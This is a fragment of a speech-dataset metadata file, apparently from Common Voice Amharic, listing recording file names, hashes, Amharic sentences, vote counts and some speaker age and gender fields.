630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782185.mp3 2e2980cd8ba612215ed7ff96234269f42373c321b287b3caba46ea77b102676b ኢትዮጵያ በአፍሪካ ቀንድ የምትገኝ የረጅም ዘመን ታሪክ ያላት ሀገር ናት። 2 0 am
|
| 3 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782186.mp3 2c12edec8f66ac2a86cf7938719bb4ac6dfb46ecc36887f32e35757df2e407bd በርካታ ገጾች ያሏቸውን ተደጋጋሚ ቅጾች መሙላት ቢሆንም የሚገርመው ግን ለዳያ ግን ከባዱ ይህ አልነበረም። 2 0 am
|
| 4 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782187.mp3 21f8ffee0965e47fe169ede4571a2b5f2db170b0dcd3995cafb9c355ce6b52df የሱዳን መንግሥት ሽምቅን ለመከላከል በሚል ማንኛውንም መሳሪያ ተጠቅሟል ይላሉ። 2 0 am
|
| 5 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782188.mp3 44708eb4b3a7c3d0322734f2c63bdb1b1e143706260df68fc0e381c91b4007b7 እንዲህ እያለም ይፈትነው ጀመር፡፡ 2 0 am
|
| 6 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782189.mp3 2aeffbe847c854773dc32c637d4b7ea0049a04ed1214972ae5f9417ae6973e65 በወቅቱም ማበልጸግ እና ሙከራ ላይ ስለነበር በጎ ፈቃደኞች እየፈለገ ነበር። 2 0 am
|
| 7 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782216.mp3 4ca204e6e2994b943a1e7cf685c3f38b2a38fa91062d6ee9832d01a73b001afc ባልየው ፍቅረኛዋን ሊይዘው ሲሞክር ፍቅረኛው ደግሞ ለማምለጥ ሲሞክር ትግል ተጀመረ፡፡ 2 0 am
|
| 8 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782218.mp3 47840b3fa51e5ed0940cee0b7826bbdc8b9383cb1c7ad791b528390f76e38923 ቅድመ ንጋት ፀሐይ ከመውጣቷ በፊት ጾም መያዣው ሰዓት ደግሞ ሱሁር ይባላል። 2 0 am
|
| 9 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782219.mp3 1f79052c11e54ca54f823b29e312900b804210a8c8451e6f08c87d89c016977c ለዚህ ነው ወደዚህ የመጣነው፡፡ 2 0 am
|
| 10 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782220.mp3 2873f6d9bf7b9f973eb34cec1f32ccadacd0a3f214825e6909445053ff19158a ሊቨርፑል ሲቲን አስቁሞ ለአርሰናል ውለታ ይውል ይሆን? 2 0 am
|
| 11 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782308.mp3 21f79e2ffa7338e1f4446ed8426af39c43b54f48ff079c764b953d6bec6599b4 በሱዳን የሚሆነው ነገር ሁለቱ ሃገራት በሚኖራቸው ግንኙነት ላይ የራሱ ተጽዕኖ ይኖረዋል። 2 0 am
|
| 12 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782309.mp3 41760042a4b2227c454377de38ca4926a70a2508d78ff88059cca99b82aa9473 በካርቱምና ካይሮ መካከል ቢያንስ ሀያ አምስት አውቶብሶች በየዕለቱ ይጓጓዛሉ። 2 0 am
|
| 13 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782310.mp3 0de62ddba1669a7623748ffc4c75638db7f764c2301573ef255db93195610e26 የመጽሐፉ ርዕስ ከዚህ ተቀዳ። 2 0 am
|
| 14 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782311.mp3 0dac52b273823f53c06b40aac39bdd78fba280a6a7346eddb08cc932afdec2e8 ሲላት አሁንም ያንኑ ዓይብ ታመጣለታለች፡፡ ከዚያ በኋላ ምሣ በልተው ሲያበቁ ሰውየው ማስረዳት ጀመረ፡፡ 2 0 am
|
| 15 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782312.mp3 48a13e2836e98c99f8958b5b6f7884f456fa4cba1def14d9c06d1cd8822267ec ልጆቻቸውም በቋንቋው መግባባት እንፈልጋለን ቋንቋቻን እንዲጠፋ አንፈልግም ይላሉ። 2 0 am
|
| 16 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782318.mp3 4126fefa04123fa7bc7dacf2f21aa4cd50060e077b5b8229d1eb78f9b1f3a3be ዶናልድ ትራምፕ የሰሞኑ ዜና ነበሩ። 2 0 am
|
| 17 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782319.mp3 21f4e0d66e4e92bb3980f95e661281a08e7667c0e939ccfc8a72af55f75b7a9e ይህ የሕጻናት ዕድገት ባለሙያዋ ጆርጎ ድሪባም የሚስማሙበት ነው። 2 0 am
|
| 18 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782320.mp3 217cbea1eaeff0f64ad919fbe934404fef24278b2787dd4cc5ff78a70e62422b ከጄኔራል ሰዓረ የሀገር ፍቅርን በታማኝነት ማገልገልን እንዲሁም ኅብረ ብሔራዊ ወንድማማችነትን ይማራሉ ነው ያሉት ከንቲባዋ በንግግራቸው፡፡ 2 0 am
|
| 19 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782321.mp3 0710b3c957e693ef4c1b1ea4c2f030d6c4b6ca042151715a9a602da85f517d09 ልጄ እንጂ እኔ አልሞት! ልጅ ደግሞ የለኝም፡፡ 2 0 am
|
| 20 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782324.mp3 3cd4f2d62d6f5cdc79719592da8713693a917e0adb2849c1bd3cdf64279abda0 ከዚያም ምግብ አቅርባ አብረው ከበሉ በኋላ ሽፍታው ለእግሬ ውሃ አምጥተሸ እጠቢኝ ብሎ አዘዛት፡፡ 2 0 am
|
| 21 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782573.mp3 3dda8381c6e8e6ab666f0d667fd33a145342c9d3dd312a8f7ef669bc492e4987 ሰውየው ግን ተቃራኒውን ነው ያደረገው፡፡ 2 0 thirties male_masculine am
|
| 22 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782574.mp3 347304ba0af947da56e81aafe2a68865b36aa804631d171c3e9da96d2924513d ብራይሌዎች ከወንዙ የሚያገኟቸው ዓሳዎች እና በዳርቻዎቹ የሚበቀሉት ፍሬዎች እና ስራስሮች ዋነኛ የምግብ ምንጫቸው ነበር። 2 0 thirties male_masculine am
|
| 23 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782575.mp3 060f0787212010303e75080881a108eb87ef7ebe9a4858fe1ffbbce7aec27cb9 ካርቱም ያለው የአሜሪካ ኤምባሲ እንደተዘጋ ባይደን አረጋግጠዋል 2 0 thirties male_masculine am
|
| 24 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782576.mp3 306aab7930d00e1c33018a5ddaaed2a6db755b217b6fbfa3dddeb7a802bd1026 ይህም ሲባል ለሓቆች እንዲህ ሆኖ መገኘትና፣ እንደዚያ ሆኖ አለመገኘት አስገዳጅ አመክንዮ የለም። 2 0 thirties male_masculine am
|
| 25 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782577.mp3 49e20bdd87a09c65af0d43de29e0309aa44ed3573a69d7f3e04b6fbcd058403b በመጨረሻም ተመስገን አለ፡፡ 2 0 thirties male_masculine am
|
| 26 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782578.mp3 0bd83b162a5e2d83a5bc0b98be8d17e9b4b28a3311a2b03326fc0d34df26b42e በሌላ መልኩ እሷ ችላ ከሀገር ብትወጣም ሙሉበሙሉ አላመለጠችም። 2 0 thirties male_masculine am
|
| 27 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782579.mp3 144accbea2c05e4c0623886a4770edb1b372c521254b86661dae6754a5921972 ስለዚህ የሱሑር ሰዓት ምግብ በቂ ካርቦሃይድሬት ያለው እንዲሆን ይመከራል። 2 0 thirties male_masculine am
|
| 28 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782580.mp3 2ab162a2830d6fe5c6fadb67ea4fb4b986e0b87b913d066b135dd9a853f96d20 የተመድ የዓለም አቀፍ የስደተኞች ድርጅት ሰራተኛ የሆነ ሱዳናዊም ህይወቱን አጥቷል። 2 0 thirties male_masculine am
|
| 29 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782581.mp3 0e32744a29a4314da3239c0efbf84e2644c1889151c042a198701f7a8a66596b ይሁንና የሞራሌስ ፓርቲ በቀጣዩ ዓመት ጠቅላላ ምርጫ አ��ነፈና ሞራሌ ከተሰደዱበት አርጀንቲና ተመለሱ። 2 0 thirties male_masculine am
|
| 30 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782582.mp3 50fc80461638de1e008bfd3ffb0943573736ed1d3a1a3e6254d4c8b1ef2bf896 ስለዚህም በጥሬ ሥጋ አመጋገባችን ወቅት ጤናን ማኅበረሰብን ቤተሰብን እና ኢኮኖሚን ከግንዛቤ ማስገባት ተገቢ መሆኑን ያሰምሩበታል። 2 0 thirties male_masculine am
|
| 31 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782583.mp3 3cc6bfab2fb0ba583611522654e2609269a17e970d3bd0c43b55b08a627d7f1d የኬንያ ብሔራዊ ቴሌቪዥን ጣቢያ ኬቢሲ ግን አምሳ ስምንት የመቃብር ቦታዎች ተለይተዋል ሲል ዘግቧል። 2 0 thirties male_masculine am
|
| 32 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782584.mp3 1b7a22963f0bbed5796817572e56e5a56c0a5af79cd5221d58196605e356864e የአካባቢው ባለስልጣን ወደ ጫካው ገብተን ግዙፍ ረዥም መስቀል ተተክሎ ተመለከትን 2 0 thirties male_masculine am
|
| 33 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782585.mp3 4144a7248d4b6ece07f4c4081a67e59965a2f6b2b65d4d28f09215827f65c53c አንድ ሳምቡሳ በአማካይ ሁለት መቶ ሀምሳ ካሎሪ አለው። 2 0 thirties male_masculine am
|
| 34 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782587.mp3 124594446358bbf43dae12f10ee9fbee5972bf87ba3b112d09c197f743203dcf በአንዳንድ ሁኔታዎች ወታደሮች ሞታቸውን ለማፋጠን የሚያደርጉት የጉልበታቸውን ቋንጃ በመምታት እግራቸውን መስበር ነው። 2 0 thirties male_masculine am
|
| 35 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790321.mp3 62bb021adb17bb8b953033efea2a416d771ecf829de0748021a1650151cae361 ባትለቀኝ ኖሮ ከሆዴ ውስጥ ለልጅ ልጆችህ የሚሆን ወርቅ ታገኝ ነበር፡፡ 2 0 thirties male_masculine am
|
| 36 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790322.mp3 1d1d4f50c0f87646993f64edfc349aa12ea71e47881dfcb63e01ec89ae53cfff የፖለቲካ ተንታኙ አደም ካሴ በሱዳን ግጭት የተቀሰቀሰው በኢትዮጵያ የፖለቲካ ችግር ባለበት ወቅት መሆኑን ይጠቅሳሉ። 2 0 thirties male_masculine am
|
| 37 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790323.mp3 4b9219a82f9acd7a3469e64775e18e2dea9514e0f528a580d05d188edf391520 ታዋቂው የአፋን ኦሮሞ ድምፃዊ ዘሪሁን ወዳጆ ከዚህ ዓለም በሞት ተለየ። 2 0 thirties male_masculine am
|
| 38 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790324.mp3 5b80f3326f8affefc539f3246c0b17e0c9aaf36ad872fd44ee87986cc35919ef ብዙ ሙስሊሞች በሌሊቱ ክፍለ ጊዜ መብላት ስላልለመዱ ይዘሉታል። 2 0 thirties male_masculine am
|
| 39 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790325.mp3 1be1dc5a7e8355f3c33ed75faa7eb4d85123027367cddee610b6d3ff59dac507 ስለዚህ አንዳቸው ማሸነፍ አለባቸው። 2 0 thirties male_masculine am
|
| 40 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790331.mp3 226bc0183c7e6292b18a5b426285600a2cdf6938e6448aea020ea30ad37f4854 የሩሲያ ደኅንነት አገልግሎት ኃላፊ ቫሲል ማሊዩክ ጠላት የዩክሬን ማሕበረሰብን ለመከፋፈል ቤተክርስትያንን እየተጠቀመ ነው ብለዋል። 2 0 thirties male_masculine am
|
| 41 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790332.mp3 506e74a0a4f274660287fc60b92557b65202be8d77aaeea2c5702ac3b20857f6 ይህንንም ተከትሎ በመንግሥት እና በቤተክርስቲያኗ መሪዎች ባለፈው ሳምንት መጨረሻ ላይ ውይይት መደረጉም ይታወሳል 2 0 thirties male_masculine am
|
| 42 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790334.mp3 02fa5d2e5898dc94663dad7a2b4ef15c0f3ac63fd39e4fba80d9c9aa220f3844 ክፉለራሱም ጉዞውን ሲቀጥል ደግለራሱ ሌሊቱን ዛፍ ላይ ሊያሳልፍ ወጣ፡፡ 2 0 thirties male_masculine am
|
| 43 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790335.mp3 04e66646b00d35e66c10ca6bb1df7fd40f30a3c118681f8975eda528e665e3f5 ከጤና ሚኒስቴር ጋር አብረው በአይን ህክምናና በሌሎች የጤና አገልግሎቶች ላይ በትብብር እንደሚሰሩ ተናግረዋል። 2 0 thirties male_masculine am
|
| 44 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790336.mp3 125f939e7a11b3e1bff63c18ea8747d166fe0179cdc9b13d20798b093ab45098 በተለይ ሲጋራ ስጡኝ ማለት ሲያቆሙ ቤተሰቡ ግራ ተጋብቷል። 2 0 thirties male_masculine am
|
| 45 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790337.mp3 56b449d16a033161fb325ec5662779674bd5ba1d27c6d684293263fb45c3a170 ስፖርተኛው ጭንቅላቱ ላይ ጉዳት ከደረሰበት ጊዜ አንስቶ ኮማ ውስጥ ነው ያለው። 2 0 thirties male_masculine am
|
| 46 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790338.mp3 06b0b3297bceb1989fcfaf7a45459ec434f5a866802d2d7f8ab23bce373e5e77 እርሷም አዎ ከመለወጥ አምልጬ የመጣሁት እኔ ብቻ ነኝ አለችው፡፡ 2 0 thirties male_masculine am
|
| 47 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790340.mp3 2cc49fce17f56e54164ed3309a622660d1bfbca2ce8b226c812d818d798730f2 ባንኩ በቀጣይም ይህን መሰል የማህበራዊ ኃላፊነቱን ለመወጣት እንደሚሰራ ነው የተገለፀው፡፡ 2 0 thirties male_masculine am
|
| 48 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790346.mp3 5b7d8143232c228c52d2df582c1f7a58de4a5207656b65a93a42149ac15d2766 መዘንጋት የሌለብን ይላሉ አቶ ሰኢድ የማንዳስሰው የልጆች ሥነልቦናዊ ጤና የዕድገታቸው ወሳኝ ክፍል መሆኑን ነው 2 0 thirties male_masculine am
|
| 49 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790347.mp3 5f6803ed6bdfd264c8d0c0fe9f38cf163f61d1ec8c866db4aad15a39ac687627 የኢትዮጵያ እግር ኳስ ፌዴሬሽን አሰልጣኝ ውበቱ አባተ በኢትዮጵያ ብሔራዊ ቡድን ለነበራቸው ቆይታ ምስጋና አቅርቧል፡፡ 2 0 thirties male_masculine am
|
| 50 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790348.mp3 601fd06536e9935553150fdf247998751d57f19e40f37ca1afa8556030917ce8 በአንድ ወቅት ከሚሰራው ስራ በሚያገኘው ጥቂት ገንዘብ የሚኖር አንድ ምስኪን ልጅ ነበረ፡፡ 2 0 thirties male_masculine am
|
| 51 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790349.mp3 5488df494a7cba39fe00a5ce6ae5b315ca457431e844bb86dfdcb2b37e61c0d2 ብሎ ወደ ጫካው ሮጦ ሄደ፡፡ 2 0 thirties male_masculine am
|
| 52 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790350.mp3 1ffbbf1c0538e66a0eadeeea5c61ad5a6a7cbc159ee728a6da3f6ed957847f91 አርሰናል እንዳደረገው ሩዋንዳን ይጎብኙ ብለው ማሊያቸው ላይ ይለጥፋሉ። 2 0 thirties male_masculine am
|
| 53 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790351.mp3 62c6da2005a4db97c6e573f48c5bb2b7c3dec803fe6f945cf230c73aaa6ab189 ፈንጂ የማምከን ሥራ በተለምዶ ወንዶች የሚሰማሩበት ዘርፍ ነበር። 2 0 thirties male_masculine am
|
| 54 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790352.mp3 630074f5a6e4ce44d57a6e0fcd6edfead0d56282e2d1035e1e305f95e4caae17 በርና መስኮታቸውን ዘግተው እንዲቆዩ አልያም ከአገር መውጣት አስተማማኝ መንገድ ካገኙ እንዲወጡ አሳስቧል። 2 0 thirties male_masculine am
|
| 55 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790353.mp3 44345f08084a9f0833752e0a297c29db0c91b27828cb9c7124e7d679e8ff96fa መልሶቹን እስከ ነገ ድረስ እንድታመጣ፡፡ 2 0 thirties male_masculine am
|
| 56 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790354.mp3 4fe51d16fba31cf92acfe9ec7bf40121d0d0b79bf8feedc5e4d0aa5b36895866 ሁለተኛው ሰው ደግሞ በከፊል እምነት ያለው ነው፡፡ 2 0 thirties male_masculine am
|
| 57 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790355.mp3 53e18037e535dc904bfb5b891dfc7f5eb38de16ef3d2dfcf36b8f7df36834ef0 ላብና ትንፋሽ ይጠይቃል። 2 0 thirties male_masculine am
|
| 58 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790430.mp3 3e5e876324a9387f41a7d19f54612bc9179b97e40d8fe4bd92c5d8d31c284d9b በኡጋንዳ ለሰዎች ተገቢ ያልሆነ መረጃ በመንገር ለሞት የሚዳርጉ በርካታ ሃይማኖታዊ ቡድኖች አሉ። 2 1 thirties male_masculine am
|
| 59 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790431.mp3 205e7ce44dd77b0759b3c7f1fc789ec8c02ac3447815b8f616f228e7157de526 ስለዚህ እነዚህ ነገሮችን ግጭቱን ሊያወሳስቡ ይችላሉ ሲሉ አቦ ሓሽም ያስረዳሉ። 2 0 thirties male_masculine am
|
| 60 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790432.mp3 39a3951cfd05ed980c83fce0e07054c28676b31b1a2a01241b13ba899aacc5e2 በአሜሪካ ታሪክ በወንጀል የተከሰሱ የመጀመርያው የቀድሞ ፕሬዝዳንት ሆነዋል። 2 0 thirties male_masculine am
|
| 61 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790433.mp3 03f7679d2a915948242fb49d0490152dd7ee0c6be2ad7161ea68efdc7a9cdddf በውድድሩ መጀመሪያ አካባቢ ሲፈን የሕመም ምልክት እያሳያች ሩጫዋን እያቆመች ሰውነቷን ለማፍታት ስትሞክር ታይታ ነበር። 2 0 thirties male_masculine am
|
| 62 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790434.mp3 667857ca1587a2314938d85291e8d1071332b4c6473d6d58a247e4517ac64e46 እርሱም ወላጆችሽ እነማን ናቸው ብሎ ሲጠይቃት እርሷም እኔ የማውቃት እናቴን ብቻ ነው፡፡ 2 0 thirties male_masculine am
|
| 63 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790445.mp3 1f2d388a96748ea23540f6d59b7d5f38204797e0198196c81150aae61b7e2e59 አሜሪካ በስህተት ነው የታሰረው ስትል የፈረጀች ሲሆን ከእስር ለማስፈታትም በርካታ ጥረቶች እየተደረጉ ነው። 2 0 thirties male_masculine am
|
| 64 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790446.mp3 07a1d2eec96b80462441d429f5d56d1267a53606bab1cd741fb1ba50c2bb6fed ለካስ ተሳስቻለሁ አለ፡፡ 2 0 thirties male_masculine am
|
| 65 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790447.mp3 164e7c7110667e39b44fb8c1ee0b7563c3bb0766dd66bc6a5b3bbd393c006e3b ፍላቪየስ በጻፈው ዘገባ በ ሰማኒያ ስምንት ዓመተ ዓለም አካባቢ የጅምላ ስቅለቶች ይፈጸሙ እንደነበር ጠቅሷል። 2 0 thirties male_masculine am
|
| 66 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790448.mp3 443181e038203ddadcffb60bf404783cb442b96011e4e7b166dc56d8ad56b3d4 ጥጃዋ ናት ከጓዳ የምታንኮሻኩሸው አለችው፡፡ 2 0 thirties male_masculine am
|
| 67 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790449.mp3 3adcda985463a1d90f2a454b35eb43e1033c3749ff44d3fc94a3607b0dbae1ac አባት ልጁን ካደ። 2 0 thirties male_masculine am
|
| 68 |
+
